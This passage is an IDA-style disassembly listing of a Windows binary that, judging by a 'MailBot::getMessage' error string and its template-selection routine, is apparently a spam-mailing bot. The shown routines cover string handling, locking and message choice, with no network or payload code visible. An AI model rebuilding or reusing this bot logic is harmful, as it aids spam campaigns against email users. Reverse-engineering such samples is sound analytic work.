		cmp	eax, [ebp+arg_4]
		jnb	short loc_4020F5


loc_4020F0:				; CODE XREF: sub_4020D3+10j
		call	sub_40D7C3


loc_4020F5:				; CODE XREF: sub_4020D3+1Bj
		mov	ecx, [edi+14h]
		mov	eax, ecx
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_402103
		mov	[ebp+var_4], eax


loc_402103:				; CODE XREF: sub_4020D3+2Bj
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_402114
		mov	[ebp+arg_8], eax


loc_402114:				; CODE XREF: sub_4020D3+3Cj
		sub	ecx, [ebp+var_4]
		or	eax, 0FFFFFFFFh
		sub	eax, [ebp+arg_8]
		cmp	eax, ecx
		ja	short loc_402126
		call	sub_40D784


loc_402126:				; CODE XREF: sub_4020D3+4Cj
		mov	eax, [edi+14h]
		mov	ecx, eax
		sub	ecx, [ebp+var_4]
		mov	ebx, eax
		add	ecx, [ebp+arg_8]
		sub	ebx, esi
		sub	ebx, [ebp+var_4]
		cmp	eax, ecx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ecx
		jnb	short loc_40214C
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_401580


loc_40214C:				; CODE XREF: sub_4020D3+6Dj
		cmp	edi, [ebp+arg_0]
		jz	short loc_4021C3
		mov	eax, [edi+18h]
		cmp	eax, 10h
		jb	short loc_40215E
		mov	edx, [edi+4]
		jmp	short loc_402161
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020D3+84j
		lea	edx, [edi+4]


loc_402161:				; CODE XREF: sub_4020D3+89j
		cmp	eax, 10h
		jb	short loc_40216B
		mov	ecx, [edi+4]
		jmp	short loc_40216E
; ---------------------------------------------------------------------------


loc_40216B:				; CODE XREF: sub_4020D3+91j
		lea	ecx, [edi+4]


loc_40216E:				; CODE XREF: sub_4020D3+96j
		add	edx, esi
		add	edx, [ebp+var_4]
		push	ebx
		sub	eax, esi
		sub	eax, [ebp+arg_8]
		push	edx
		add	ecx, esi
		add	ecx, [ebp+arg_8]
		push	eax
		push	ecx
		call	sub_401049
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_402197
		mov	edx, [eax+4]
		jmp	short loc_40219A
; ---------------------------------------------------------------------------


loc_402197:				; CODE XREF: sub_4020D3+BDj
		lea	edx, [eax+4]


loc_40219A:				; CODE XREF: sub_4020D3+C2j
		mov	eax, [edi+18h]
		cmp	eax, 10h
		jb	short loc_4021A7
		mov	ecx, [edi+4]
		jmp	short loc_4021AA
; ---------------------------------------------------------------------------


loc_4021A7:				; CODE XREF: sub_4020D3+CDj
		lea	ecx, [edi+4]


loc_4021AA:				; CODE XREF: sub_4020D3+D2j
		push	[ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		add	edx, ebx
		push	edx
		sub	eax, esi
		push	eax
		add	ecx, esi
		push	ecx
		call	sub_40102D
		jmp	loc_4023A4
; ---------------------------------------------------------------------------


loc_4021C3:				; CODE XREF: sub_4020D3+7Cj
		mov	eax, [ebp+var_4]
		cmp	[ebp+arg_8], eax
		lea	ebx, [edi+4]
		ja	short loc_402231
		mov	eax, [edi+18h]
		cmp	eax, 10h
		jb	short loc_4021DA
		mov	ecx, [ebx]
		jmp	short loc_4021DC
; ---------------------------------------------------------------------------


loc_4021DA:				; CODE XREF: sub_4020D3+101j
		mov	ecx, ebx


loc_4021DC:				; CODE XREF: sub_4020D3+105j
		cmp	eax, 10h
		jb	short loc_4021E8
		mov	edx, [ebx]
		mov	[ebp+arg_0], edx
		jmp	short loc_4021EB
; ---------------------------------------------------------------------------


loc_4021E8:				; CODE XREF: sub_4020D3+10Cj
		mov	[ebp+arg_0], ebx


loc_4021EB:				; CODE XREF: sub_4020D3+113j
		push	[ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	ecx, edx
		sub	eax, esi
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_401049
		mov	eax, [edi+18h]
		add	esp, 10h
		cmp	eax, 10h
		jb	short loc_402211
		mov	ecx, [ebx]
		jmp	short loc_402213
; ---------------------------------------------------------------------------


loc_402211:				; CODE XREF: sub_4020D3+138j
		mov	ecx, ebx


loc_402213:				; CODE XREF: sub_4020D3+13Cj
		cmp	eax, 10h
		jb	short loc_40221A
		mov	ebx, [ebx]


loc_40221A:				; CODE XREF: sub_4020D3+143j
		push	[ebp+var_8]
		add	ecx, esi
		add	ecx, [ebp+var_4]
		sub	eax, esi
		sub	eax, [ebp+arg_8]
		add	ebx, esi
		add	ebx, [ebp+arg_8]
		jmp	loc_40239C
; ---------------------------------------------------------------------------


loc_402231:				; CODE XREF: sub_4020D3+F9j
		cmp	[ebp+arg_4], esi
		ja	short loc_402299
		mov	eax, [edi+18h]
		cmp	eax, 10h
		jb	short loc_402242
		mov	ecx, [ebx]
		jmp	short loc_402244
; ---------------------------------------------------------------------------


loc_402242:				; CODE XREF: sub_4020D3+169j
		mov	ecx, ebx


loc_402244:				; CODE XREF: sub_4020D3+16Dj
		cmp	eax, 10h
		jb	short loc_402250
		mov	edx, [ebx]
		mov	[ebp+arg_0], edx
		jmp	short loc_402253
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020D3+174j
		mov	[ebp+arg_0], ebx


loc_402253:				; CODE XREF: sub_4020D3+17Bj
		push	[ebp+var_8]
		sub	eax, esi
		sub	eax, [ebp+arg_8]
		add	ecx, esi
		add	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, esi
		add	eax, [ebp+arg_8]
		push	eax
		call	sub_401049
		mov	eax, [edi+18h]
		add	esp, 10h
		cmp	eax, 10h
		jb	short loc_40227F
		mov	ecx, [ebx]
		jmp	short loc_402281
; ---------------------------------------------------------------------------


loc_40227F:				; CODE XREF: sub_4020D3+1A6j
		mov	ecx, ebx


loc_402281:				; CODE XREF: sub_4020D3+1AAj
		cmp	eax, 10h
		jb	short loc_402288
		mov	ebx, [ebx]


loc_402288:				; CODE XREF: sub_4020D3+1B1j
		mov	edx, [ebp+arg_4]
		add	ecx, edx


loc_40228D:				; CODE XREF: sub_4020D3+228j
		push	[ebp+arg_8]
		sub	eax, esi
		add	ebx, esi
		jmp	loc_40239C
; ---------------------------------------------------------------------------


loc_402299:				; CODE XREF: sub_4020D3+161j
		add	eax, esi
		cmp	eax, [ebp+arg_4]
		mov	eax, [edi+18h]
		ja	short loc_4022FD
		cmp	eax, 10h
		jb	short loc_4022AC
		mov	ecx, [ebx]
		jmp	short loc_4022AE
; ---------------------------------------------------------------------------


loc_4022AC:				; CODE XREF: sub_4020D3+1D3j
		mov	ecx, ebx


loc_4022AE:				; CODE XREF: sub_4020D3+1D7j
		cmp	eax, 10h
		jb	short loc_4022BA
		mov	edx, [ebx]
		mov	[ebp+arg_0], edx
		jmp	short loc_4022BD
; ---------------------------------------------------------------------------


loc_4022BA:				; CODE XREF: sub_4020D3+1DEj
		mov	[ebp+arg_0], ebx


loc_4022BD:				; CODE XREF: sub_4020D3+1E5j
		push	[ebp+var_8]
		sub	eax, esi
		sub	eax, [ebp+arg_8]
		add	ecx, esi
		add	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, esi
		add	eax, [ebp+arg_8]
		push	eax
		call	sub_401049
		mov	eax, [edi+18h]
		add	esp, 10h
		cmp	eax, 10h
		jb	short loc_4022E9
		mov	ecx, [ebx]
		jmp	short loc_4022EB
; ---------------------------------------------------------------------------


loc_4022E9:				; CODE XREF: sub_4020D3+210j
		mov	ecx, ebx


loc_4022EB:				; CODE XREF: sub_4020D3+214j
		cmp	eax, 10h
		jb	short loc_4022F2
		mov	ebx, [ebx]


loc_4022F2:				; CODE XREF: sub_4020D3+21Bj
		sub	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		add	ecx, [ebp+arg_8]
		jmp	short loc_40228D
; ---------------------------------------------------------------------------


loc_4022FD:				; CODE XREF: sub_4020D3+1CEj
		cmp	eax, 10h
		jb	short loc_402306
		mov	ecx, [ebx]
		jmp	short loc_402308
; ---------------------------------------------------------------------------


loc_402306:				; CODE XREF: sub_4020D3+22Dj
		mov	ecx, ebx


loc_402308:				; CODE XREF: sub_4020D3+231j
		cmp	eax, 10h
		jb	short loc_402314
		mov	edx, [ebx]
		mov	[ebp+arg_0], edx
		jmp	short loc_402317
; ---------------------------------------------------------------------------


loc_402314:				; CODE XREF: sub_4020D3+238j
		mov	[ebp+arg_0], ebx


loc_402317:				; CODE XREF: sub_4020D3+23Fj
		push	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		add	ecx, edx
		sub	eax, esi
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_401049
		mov	eax, [edi+18h]
		add	esp, 10h
		cmp	eax, 10h
		jb	short loc_40233D
		mov	ecx, [ebx]
		jmp	short loc_40233F
; ---------------------------------------------------------------------------


loc_40233D:				; CODE XREF: sub_4020D3+264j
		mov	ecx, ebx


loc_40233F:				; CODE XREF: sub_4020D3+268j
		cmp	eax, 10h
		jb	short loc_40234B
		mov	edx, [ebx]
		mov	[ebp+arg_0], edx
		jmp	short loc_40234E
; ---------------------------------------------------------------------------


loc_40234B:				; CODE XREF: sub_4020D3+26Fj
		mov	[ebp+arg_0], ebx


loc_40234E:				; CODE XREF: sub_4020D3+276j
		push	[ebp+var_8]
		sub	eax, esi
		sub	eax, [ebp+arg_8]
		add	ecx, esi
		add	ecx, [ebp+var_4]
		push	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, esi
		add	eax, [ebp+arg_8]
		push	eax
		call	sub_401049
		mov	eax, [edi+18h]
		add	esp, 10h
		cmp	eax, 10h
		jb	short loc_40237A
		mov	ecx, [ebx]
		jmp	short loc_40237C
; ---------------------------------------------------------------------------


loc_40237A:				; CODE XREF: sub_4020D3+2A1j
		mov	ecx, ebx


loc_40237C:				; CODE XREF: sub_4020D3+2A5j
		cmp	eax, 10h
		jb	short loc_402383
		mov	ebx, [ebx]


loc_402383:				; CODE XREF: sub_4020D3+2ACj
		mov	edx, [ebp+arg_8]
		sub	edx, [ebp+var_4]
		sub	eax, esi
		sub	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		add	ecx, edx
		add	ecx, [ebp+arg_8]
		add	ebx, esi
		add	ebx, [ebp+var_4]


loc_40239C:				; CODE XREF: sub_4020D3+159j
					; sub_4020D3+1C1j
		push	ecx
		push	eax
		push	ebx
		call	sub_401049


loc_4023A4:				; CODE XREF: sub_4020D3+EBj
		add	esp, 10h
		push	[ebp+var_C]
		mov	ecx, edi
		call	sub_401564
		mov	eax, edi
		pop	ebx
		leave
		retn	0Ch
sub_4020D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023B8	proc near		; CODE XREF: sub_401F07+15p
		mov	eax, offset loc_41AF14
		call	sub_41AE44
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		push	28h
		mov	edi, ecx
		call	sub_40DE68
		and	dword ptr [ebp-4], 0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		mov	[ebp-14h], esi
		jz	short loc_4023E6
		mov	eax, [ebp+8]
		mov	[esi], eax


loc_4023E6:				; CODE XREF: sub_4023B8+27j
		lea	eax, [esi+4]
		test	eax, eax
		jz	short loc_4023F2
		mov	ecx, [ebp+0Ch]
		mov	[eax], ecx


loc_4023F2:				; CODE XREF: sub_4023B8+33j
		lea	eax, [esi+8]
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_40240D
		mov	ecx, [edi]
		add	edi, 4
		mov	[eax], ecx
		push	edi
		lea	ecx, [eax+4]
		call	sub_401C1E


loc_40240D:				; CODE XREF: sub_4023B8+43j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_4023B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402420	proc near		; DATA XREF: .vty:004201C4o

arg_0		= dword	ptr  4

		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_401919
		mov	dword ptr [esi], offset	off_41C2A8
		mov	eax, esi
		pop	esi
		retn	4
sub_402420	endp

; ---------------------------------------------------------------------------


loc_40244B:				; CODE XREF: .vty:0041B040j
		mov	dword ptr [ecx], offset	off_41EB28
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402452	proc near		; CODE XREF: .vty:00402471p
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		mov	edi, offset off_41EB28
		push	1
		lea	ecx, [esi+10h]
		mov	[esi], edi
		call	sub_4013C4
		mov	[esi], edi
		pop	edi
		pop	esi
		retn
sub_402452	endp

; ---------------------------------------------------------------------------


loc_40246E:				; DATA XREF: .vty:off_41EB64o
		push	esi
		mov	esi, ecx
		call	sub_402452
		test	byte ptr [esp+8], 1
		jz	short loc_402484
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_402484:				; CODE XREF: .vty:0040247Bj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40248A:				; DATA XREF: .vty:off_41EB28o
					; .vty:off_41EB58o ...
		test	byte ptr [esp+4], 1
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41EB28
		jz	short loc_4024A1
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_4024A1:				; CODE XREF: .vty:00402498j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4024A7	proc near		; CODE XREF: sub_402979+FBp
					; sub_402BCF+39p ...

arg_4		= dword	ptr  8

		mov	eax, offset loc_41B0D4
		call	sub_41AE44
		test	byte ptr dword_424E54, 1
		push	esi
		mov	esi, offset dword_424E58
		jnz	short loc_4024F9
		or	dword_424E54, 1
		and	[esp+4+arg_4], 0
		call	sub_401F7D
		and	dword_424E78, 0
		push	esi
		mov	dword_424E74, eax
		mov	dword_424E7C, 0C8h
		call	dword_41C068	; InitializeCriticalSection
		push	offset loc_41B689
		call	sub_40DBC0
		pop	ecx


loc_4024F9:				; CODE XREF: sub_4024A7+17j
		mov	ecx, [esp+4]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4024A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_402509	proc near		; CODE XREF: sub_402E1F+18p
		mov	eax, offset loc_41B0BC
		call	sub_41AE44
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		lea	esi, [edi+4]
		mov	dword ptr [edi], offset	off_41EB34
		call	sub_4012E2
		xor	ebx, ebx
		lea	esi, [edi+20h]
		mov	[ebp-4], ebx
		call	sub_4012E2
		lea	esi, [edi+3Ch]
		call	sub_4012E2
		lea	esi, [edi+58h]
		call	sub_4012E2
		lea	eax, [edi+7Ch]
		mov	[edi+78h], ebx
		mov	[eax+4], ebx
		mov	[eax+8], ebx
		mov	[eax+0Ch], ebx
		mov	byte ptr [ebp-4], 4
		call	sub_405A4E
		mov	[edi+90h], eax
		mov	[edi+94h], ebx
		mov	byte ptr [ebp-4], 5
		call	sub_405A4E
		mov	[edi+9Ch], eax
		mov	[edi+0A0h], ebx
		lea	eax, [edi+0A4h]
		mov	[eax+4], ebx
		mov	[eax+8], ebx
		mov	[eax+0Ch], ebx
		mov	[edi+0B4h], ebx
		mov	[edi+0D0h], edi
		mov	esi, dword_41C068
		mov	[edi+0DCh], ebx
		lea	eax, [edi+0E0h]
		mov	[eax+4], ebx
		mov	[eax+8], ebx
		mov	[eax+0Ch], ebx
		lea	eax, [edi+0F0h]
		mov	[eax+4], ebx
		mov	[eax+8], ebx
		mov	[eax+0Ch], ebx
		mov	[eax+10h], ebx
		lea	eax, [edi+0B8h]
		push	eax
		call	esi	; InitializeCriticalSection
		lea	eax, [edi+108h]
		push	eax
		call	esi	; InitializeCriticalSection
		mov	esi, dword_41C098
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	esi	; CreateEventA
		push	ebx
		push	ebx
		push	1
		push	ebx
		mov	[edi+0D8h], eax
		call	esi	; CreateEventA
		mov	ecx, [ebp-0Ch]
		mov	[edi+104h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402509	endp


; =============== S U B	R O U T	I N E =======================================



sub_40260A	proc near		; CODE XREF: .vty:00402E52p
					; .vty:0041B66Bj
		push	ebx
		push	esi
		push	dword ptr [edi+104h]
		mov	esi, dword_41C0D4
		mov	dword ptr [edi], offset	off_41EB34
		call	esi	; CloseHandle
		push	dword ptr [edi+0D8h]
		call	esi	; CloseHandle
		mov	esi, dword_41C0CC
		lea	eax, [edi+108h]
		push	eax
		call	esi	; RtlDeleteCriticalSection
		lea	eax, [edi+0B8h]
		push	eax
		call	esi	; RtlDeleteCriticalSection
		lea	esi, [edi+0F0h]
		call	sub_405D42
		lea	esi, [edi+0E4h]
		mov	eax, [esi]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_402660
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_402660:				; CODE XREF: sub_40260A+4Dj
		mov	[esi], ebx
		lea	esi, [edi+0D0h]
		mov	[edi+0E8h], ebx
		mov	[edi+0ECh], ebx
		call	sub_40B9E7
		lea	esi, [edi+0A4h]
		call	sub_405AAC
		lea	eax, [edi+98h]
		call	sub_40558B
		lea	eax, [edi+8Ch]
		call	sub_40558B
		lea	esi, [edi+7Ch]
		call	sub_405809
		xor	esi, esi
		push	ebx
		inc	esi
		push	esi
		lea	ecx, [edi+58h]
		call	sub_4013C4
		push	ebx
		push	esi
		lea	ecx, [edi+3Ch]
		call	sub_4013C4
		push	ebx
		push	esi
		lea	ecx, [edi+20h]
		call	sub_4013C4
		push	ebx
		push	esi
		lea	ecx, [edi+4]
		call	sub_4013C4
		pop	esi
		pop	ebx
		retn
sub_40260A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026D0	proc near		; CODE XREF: sub_40D6C9+Cp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		lea	ebx, [esi+108h]
		push	edi
		mov	edi, dword_41C070
		mov	[esp+0Ch+var_4], ebx
		jmp	short loc_402706
; ---------------------------------------------------------------------------


loc_4026E5:				; CODE XREF: sub_4026D0+40j
		push	dword ptr [esi+104h]
		call	dword_41C0B4	; ResetEvent
		push	ebx
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	0FFFFFFFFh
		push	dword ptr [esi+104h]
		call	dword_41C084	; WaitForSingleObject


loc_402706:				; CODE XREF: sub_4026D0+13j
		push	ebx
		call	edi	; RtlEnterCriticalSection
		cmp	dword ptr [esi+100h], 0
		jz	short loc_4026E5
		mov	eax, [esi+100h]
		push	ebp
		mov	ebp, [esi+0FCh]
		add	eax, ebp
		cmp	ebp, eax
		jbe	short loc_40272A
		call	sub_40DCFC


loc_40272A:				; CODE XREF: sub_4026D0+53j
		mov	eax, [esi+100h]
		add	eax, [esi+0FCh]
		mov	edi, ebp
		mov	ebx, ebp
		shr	edi, 2
		and	ebx, 3
		cmp	ebp, eax
		pop	ebp
		jb	short loc_40274A
		call	sub_40DCFC


loc_40274A:				; CODE XREF: sub_4026D0+73j
		mov	eax, [esi+0F8h]
		cmp	eax, edi
		ja	short loc_402756
		sub	edi, eax


loc_402756:				; CODE XREF: sub_4026D0+82j
		mov	eax, [esi+0F4h]
		mov	eax, [eax+edi*4]
		mov	ebx, [eax+ebx*4]
		mov	eax, [esi+100h]
		test	eax, eax
		jz	short loc_40279C
		inc	dword ptr [esi+0FCh]
		mov	edx, [esi+0F8h]
		mov	ecx, [esi+0FCh]
		shl	edx, 2
		cmp	edx, ecx
		ja	short loc_40278C
		and	dword ptr [esi+0FCh], 0


loc_40278C:				; CODE XREF: sub_4026D0+B3j
		dec	eax
		mov	[esi+100h], eax
		jnz	short loc_40279C
		and	dword ptr [esi+0FCh], 0


loc_40279C:				; CODE XREF: sub_4026D0+9Aj
					; sub_4026D0+C3j
		push	dword ptr [esp+8]
		inc	dword ptr [esi+0DCh]
		call	dword_41C06C	; RtlLeaveCriticalSection
		pop	edi
		mov	eax, ebx
		pop	ebx
		pop	ecx
		retn
sub_4026D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027B2	proc near		; CODE XREF: sub_407E77+2Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esi+0B8h]
		push	edi
		call	dword_41C070	; RtlEnterCriticalSection
		mov	ecx, [ebp+arg_0]
		add	esi, 58h
		push	esi
		call	sub_401C1E
		push	edi
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		leave
		retn	4
sub_4027B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027E7	proc near		; CODE XREF: sub_407784+8Cp
					; sub_407784+15Dp ...

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		lea	eax, [edi+0B8h]
		push	esi
		push	eax
		mov	[ebp+var_14], eax
		call	dword_41C070	; RtlEnterCriticalSection
		mov	esi, [edi+78h]
		mov	ebx, [esi]
		call	sub_40FA86
		mov	ecx, [esi+4]
		sub	ecx, ebx
		xor	edx, edx
		inc	ecx
		div	ecx
		and	[ebp+var_8], 0
		add	edx, ebx
		test	edx, edx
		mov	[ebp+var_10], edx
		jle	loc_4028F2


loc_402824:				; CODE XREF: sub_4027E7+105j
		mov	esi, [ebp+arg_4]
		call	sub_406402
		mov	ebx, eax
		mov	eax, [ebx+24h]
		add	ebx, 1Ch
		cmp	[ebx+4], eax
		mov	[ebp+var_C], eax
		jbe	short loc_402841
		call	sub_40DCFC


loc_402841:				; CODE XREF: sub_4027E7+53j
		call	sub_406402
		mov	esi, eax
		add	esi, 2Ch
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402855
		cmp	eax, ebx
		jz	short loc_40285A


loc_402855:				; CODE XREF: sub_4027E7+68j
		call	sub_40DCFC


loc_40285A:				; CODE XREF: sub_4027E7+6Cj
		mov	eax, [ebp+var_C]
		cmp	[esi+4], eax
		jz	loc_4028F2
		mov	esi, [ebp+arg_4]
		call	sub_406402
		lea	esi, [eax+2Ch]
		call	sub_409835
		mov	esi, [ebp+arg_0]
		mov	ebx, eax
		mov	eax, [esi+4]
		test	eax, eax
		mov	[ebp+var_C], ebx
		jnz	short loc_402889
		xor	edx, edx
		jmp	short loc_402891
; ---------------------------------------------------------------------------


loc_402889:				; CODE XREF: sub_4027E7+9Cj
		mov	edx, [esi+8]
		sub	edx, eax
		sar	edx, 2


loc_402891:				; CODE XREF: sub_4027E7+A0j
		test	eax, eax
		jz	short loc_4028AE
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	edx, ecx
		jnb	short loc_4028AE
		mov	eax, [esi+8]
		mov	[eax], ebx
		add	eax, 4
		mov	[esi+8], eax
		jmp	short loc_4028CB
; ---------------------------------------------------------------------------


loc_4028AE:				; CODE XREF: sub_4027E7+ACj
					; sub_4027E7+B8j
		mov	ebx, [esi+8]
		cmp	eax, ebx
		jbe	short loc_4028BA
		call	sub_40DCFC


loc_4028BA:				; CODE XREF: sub_4027E7+CCj
		push	ebx
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, esi
		call	sub_405DB3


loc_4028CB:				; CODE XREF: sub_4027E7+C5j
		dec	dword ptr [edi+0B4h]
		mov	esi, [ebp+arg_4]
		inc	[ebp+var_8]
		call	sub_406402
		mov	esi, eax
		add	esi, 2Ch
		call	sub_40556B
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jl	loc_402824


loc_4028F2:				; CODE XREF: sub_4027E7+37j
					; sub_4027E7+79j
		mov	eax, [edi+78h]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_8]
		push	[ebp+var_14]
		mov	[ecx], eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	eax, [ebp+var_8]
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_4027E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40290F	proc near		; CODE XREF: sub_407784+177p
					; sub_407C9A+18Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	edi, eax
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		mov	eax, [edi+4]
		mov	[ebp+var_8], eax
		lea	eax, [ebx+0B8h]
		push	eax
		mov	[ebp+var_4], eax
		call	dword_41C070	; RtlEnterCriticalSection
		mov	esi, edi
		call	sub_406402
		add	eax, 34h
		dec	dword ptr [eax]
		jnz	short loc_40296C
		lea	esi, [ebp+var_C]
		call	sub_405D8F
		push	[ebp+var_8]
		lea	eax, [ebx+98h]
		push	[ebp+var_C]
		mov	ecx, [eax+4]
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		lea	edi, [ebx+8Ch]
		push	ecx
		push	eax
		push	eax
		call	sub_4055EA


loc_40296C:				; CODE XREF: sub_40290F+31j
		push	[ebp+var_4]
		call	dword_41C06C	; RtlLeaveCriticalSection
		pop	edi
		pop	esi
		leave
		retn
sub_40290F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402979	proc near		; CODE XREF: sub_407784+B8p
					; sub_407C9A+BCp
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp-2Ch]
		mov	dword ptr [ebp-14h], 0Fh
		call	sub_401564
		lea	eax, [edi+0B8h]
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-10h], eax
		call	dword_41C070	; RtlEnterCriticalSection
		push	0FFFFFFFFh
		push	ebx
		lea	eax, [edi+3Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_401315
		cmp	[ebp-18h], ebx
		jz	short loc_4029CC
		mov	eax, [edi+78h]
		cmp	[eax+18h], bl
		jz	short loc_402A1A


loc_4029CC:				; CODE XREF: sub_402979+49j
		lea	esi, [edi+0A4h]
		mov	eax, esi
		call	sub_4057B6
		test	eax, eax
		jz	short loc_402A1A
		mov	eax, esi
		call	sub_4057B6
		mov	esi, eax
		call	sub_40FA86
		xor	edx, edx
		div	esi
		lea	eax, [edi+0A4h]
		mov	esi, edx
		call	sub_4057B6
		cmp	esi, eax
		jb	short loc_402A05
		call	sub_40DCFC


loc_402A05:				; CODE XREF: sub_402979+85j
		imul	esi, 1Ch
		add	esi, [edi+0A8h]
		push	0FFFFFFFFh
		push	ebx
		push	esi
		lea	ecx, [ebp-2Ch]
		call	sub_401315


loc_402A1A:				; CODE XREF: sub_402979+51j
					; sub_402979+62j
		lea	esi, [edi+7Ch]
		mov	eax, esi
		call	sub_4058AA
		test	eax, eax
		jz	short loc_402A66
		cmp	[ebp-18h], ebx
		jz	short loc_402A66
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-2Ch]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		push	dword ptr [ebp+8]
		mov	eax, esi
		call	sub_4058AA
		mov	edi, eax
		call	sub_40FA86
		xor	edx, edx
		div	edi
		push	edx
		call	sub_4058C0
		push	eax
		call	sub_408593
		push	dword ptr [ebp-10h]
		call	dword_41C06C	; RtlLeaveCriticalSection
		jmp	short loc_402A84
; ---------------------------------------------------------------------------


loc_402A66:				; CODE XREF: sub_402979+ADj
					; sub_402979+B2j
		push	dword ptr [ebp-10h]
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	offset aMailbotGetmess ; "MailBot::getMessage: no templates or no"...
		call	sub_4024A7
		push	eax
		push	2
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx


loc_402A84:				; CODE XREF: sub_402979+EBj
		push	ebx
		push	1
		lea	ecx, [ebp-2Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	10h
sub_402979	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AA0	proc near		; CODE XREF: sub_40B49B+CDp
		mov	eax, offset loc_41B045
		call	sub_41AE44
		sub	esp, 1Ch
		push	ebx
		push	esi
		mov	esi, dword_41C070
		lea	ebx, [edi+0B8h]
		push	ebx
		call	esi	; RtlEnterCriticalSection
		mov	eax, [edi+78h]
		mov	eax, [eax+10h]
		push	ebx
		mov	[ebp-18h], eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		lea	eax, [edi+108h]
		push	eax
		mov	[ebp-20h], eax
		call	esi	; RtlEnterCriticalSection
		mov	esi, [ebp+8]
		call	sub_406402
		mov	esi, [ebp+0Ch]
		and	dword ptr [ebp-14h], 0
		add	eax, 34h
